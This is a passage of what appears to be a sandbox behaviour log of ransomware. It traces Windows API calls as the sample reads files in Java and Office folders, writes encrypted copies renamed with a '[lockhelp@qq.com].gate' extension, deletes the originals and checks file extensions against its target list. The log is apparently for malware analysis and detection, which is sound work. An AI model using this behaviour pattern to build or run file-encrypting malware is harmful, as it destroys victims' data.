(hFile=0x308) returned 1 [0116.126] CloseHandle (hObject=0x308) returned 1 [0116.127] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.127] SetEndOfFile (hFile=0x358) returned 1 [0116.128] CloseHandle (hObject=0x358) returned 1 [0116.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.129] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0116.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.129] lstrlenW (lpString=".doc") returned 4 [0116.129] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.129] lstrlenW (lpString=".docx") returned 5 [0116.129] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0116.129] lstrlenW (lpString=".pdf") returned 4 [0116.129] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.129] lstrlenW (lpString=".xls") returned 4 [0116.130] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.130] lstrlenW (lpString=".xlsx") returned 5 [0116.130] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0116.130] lstrlenW (lpString=".ppt") returned 4 [0116.130] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.130] lstrlenW (lpString=".zip") returned 4 [0116.130] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.130] lstrlenW (lpString=".rar") returned 4 [0116.130] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.130] lstrlenW (lpString=".bz2") returned 4 [0116.130] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.130] lstrlenW (lpString=".7z") returned 3 [0116.130] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.130] lstrlenW (lpString=".dbf") returned 4 [0116.130] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.130] lstrlenW (lpString=".1cd") returned 4 [0116.130] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.130] lstrlenW (lpString=".jpg") returned 4 [0116.130] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.131] lstrlenW (lpString=".doc") returned 4 [0116.131] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.131] lstrlenW (lpString=".docx") returned 5 [0116.131] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0116.131] lstrlenW (lpString=".pdf") returned 4 [0116.131] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.131] lstrlenW (lpString=".xls") returned 4 [0116.131] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.131] lstrlenW (lpString=".xlsx") returned 5 [0116.131] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0116.131] lstrlenW (lpString=".ppt") returned 4 [0116.131] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.131] lstrlenW (lpString=".zip") returned 4 [0116.131] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.131] lstrlenW (lpString=".rar") returned 4 [0116.131] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.131] lstrlenW (lpString=".bz2") returned 4 [0116.132] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.132] lstrlenW (lpString=".7z") returned 3 [0116.132] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.132] lstrlenW (lpString=".dbf") returned 4 [0116.132] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.132] lstrlenW (lpString=".1cd") returned 4 [0116.132] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0116.132] lstrlenW (lpString=".jpg") returned 4 [0116.132] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.132] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.132] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0116.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.135] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=153) returned 1 [0116.135] CloseHandle (hObject=0x358) returned 1 [0116.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0116.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.135] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.135] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.135] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.137] GetLastError () returned 0x0 [0116.137] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x99, lpOverlapped=0x0) returned 1 [0116.138] WriteFile (in: hFile=0x364, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xa0, lpOverlapped=0x0) returned 1 [0116.139] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.140] WriteFile (in: hFile=0x364, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x106, lpOverlapped=0x0) returned 1 [0116.140] SetEndOfFile (hFile=0x364) returned 1 [0116.141] CloseHandle (hObject=0x364) returned 1 [0116.152] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.152] SetEndOfFile (hFile=0x358) returned 1 [0116.172] CloseHandle (hObject=0x358) returned 1 [0116.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.173] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0116.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.178] lstrlenW (lpString=".doc") returned 4 [0116.178] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.178] lstrlenW (lpString=".docx") returned 5 [0116.178] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.178] lstrlenW (lpString=".pdf") returned 4 [0116.178] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.178] lstrlenW (lpString=".xls") returned 4 [0116.178] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.178] lstrlenW (lpString=".xlsx") returned 5 [0116.178] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.178] lstrlenW (lpString=".ppt") returned 4 [0116.178] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.178] lstrlenW (lpString=".zip") returned 4 [0116.178] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.178] lstrlenW (lpString=".rar") returned 4 [0116.178] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.178] lstrlenW (lpString=".bz2") returned 4 [0116.178] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.178] lstrlenW (lpString=".7z") returned 3 [0116.178] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.178] lstrlenW (lpString=".dbf") returned 4 [0116.178] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.179] lstrlenW (lpString=".1cd") returned 4 [0116.179] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.179] lstrlenW (lpString=".jpg") returned 4 [0116.179] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.179] lstrlenW (lpString=".doc") returned 4 [0116.179] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.179] lstrlenW (lpString=".docx") returned 5 [0116.179] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.179] lstrlenW (lpString=".pdf") returned 4 [0116.179] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.179] lstrlenW (lpString=".xls") returned 4 [0116.179] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.179] lstrlenW (lpString=".xlsx") returned 5 [0116.179] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.179] lstrlenW (lpString=".ppt") returned 4 [0116.179] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.179] lstrlenW (lpString=".zip") returned 4 [0116.179] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.179] lstrlenW (lpString=".rar") returned 4 [0116.179] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.179] lstrlenW (lpString=".bz2") returned 4 [0116.180] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.180] lstrlenW (lpString=".7z") returned 3 [0116.180] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.180] lstrlenW (lpString=".dbf") returned 4 [0116.180] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.180] lstrlenW (lpString=".1cd") returned 4 [0116.180] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0116.180] lstrlenW (lpString=".jpg") returned 4 [0116.180] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.180] lstrcmpiW (lpString1=".txt", lpString2=".gate") returned 1 [0116.180] lstrlenW (lpString="jvm.hprof.txt") returned 13 [0116.180] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.181] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=4226) returned 1 [0116.181] CloseHandle (hObject=0x358) returned 1 [0116.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0116.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.181] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.181] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.181] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.181] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0116.182] GetLastError () returned 0x0 [0116.182] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x1082, lpOverlapped=0x0) returned 1 [0116.187] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x1090, lpOverlapped=0x0) returned 1 [0116.353] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.353] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xee, lpOverlapped=0x0) returned 1 [0116.353] SetEndOfFile (hFile=0x35c) returned 1 [0116.354] CloseHandle (hObject=0x35c) returned 1 [0116.850] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.850] SetEndOfFile (hFile=0x358) returned 1 [0116.851] CloseHandle (hObject=0x358) returned 1 [0116.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.851] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0116.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.852] lstrlenW (lpString=".doc") returned 4 [0116.852] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.852] lstrlenW (lpString=".docx") returned 5 [0116.852] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0116.852] lstrlenW (lpString=".pdf") returned 4 [0116.852] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.852] lstrlenW (lpString=".xls") returned 4 [0116.852] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.852] lstrlenW (lpString=".xlsx") returned 5 [0116.852] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0116.852] lstrlenW (lpString=".ppt") returned 4 [0116.852] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.852] lstrlenW (lpString=".zip") returned 4 [0116.852] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.852] lstrlenW (lpString=".rar") returned 4 [0116.852] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.853] lstrlenW (lpString=".bz2") returned 4 [0116.853] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.853] lstrlenW (lpString=".7z") returned 3 [0116.853] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.853] lstrlenW (lpString=".dbf") returned 4 [0116.853] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.853] lstrlenW (lpString=".1cd") returned 4 [0116.853] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.853] lstrlenW (lpString=".jpg") returned 4 [0116.853] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.853] lstrlenW (lpString=".doc") returned 4 [0116.853] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.853] lstrlenW (lpString=".docx") returned 5 [0116.853] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0116.853] lstrlenW (lpString=".pdf") returned 4 [0116.853] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.853] lstrlenW (lpString=".xls") returned 4 [0116.853] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.854] lstrlenW (lpString=".xlsx") returned 5 [0116.854] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0116.854] lstrlenW (lpString=".ppt") returned 4 [0116.854] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.854] lstrlenW (lpString=".zip") returned 4 [0116.854] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.854] lstrlenW (lpString=".rar") returned 4 [0116.854] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.854] lstrlenW (lpString=".bz2") returned 4 [0116.854] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.854] lstrlenW (lpString=".7z") returned 3 [0116.854] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.854] lstrlenW (lpString=".dbf") returned 4 [0116.854] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.854] lstrlenW (lpString=".1cd") returned 4 [0116.854] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0116.854] lstrlenW (lpString=".jpg") returned 4 [0116.854] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.854] lstrcmpiW (lpString1=".VBS", lpString2=".gate") returned 1 [0116.854] lstrlenW (lpString="OSPP.VBS") returned 8 [0116.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.856] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=94467) returned 1 [0116.856] CloseHandle (hObject=0x358) returned 1 [0116.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0116.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.945] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.946] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0116.952] GetLastError () returned 0x0 [0116.952] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x17103, lpOverlapped=0x0) returned 1 [0117.046] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x17110, lpOverlapped=0x0) returned 1 [0117.049] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.049] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0117.049] SetEndOfFile (hFile=0x35c) returned 1 [0117.050] CloseHandle (hObject=0x35c) returned 1 [0117.055] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.055] SetEndOfFile (hFile=0x358) returned 1 [0117.056] CloseHandle (hObject=0x358) returned 1 [0117.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0117.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0117.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") 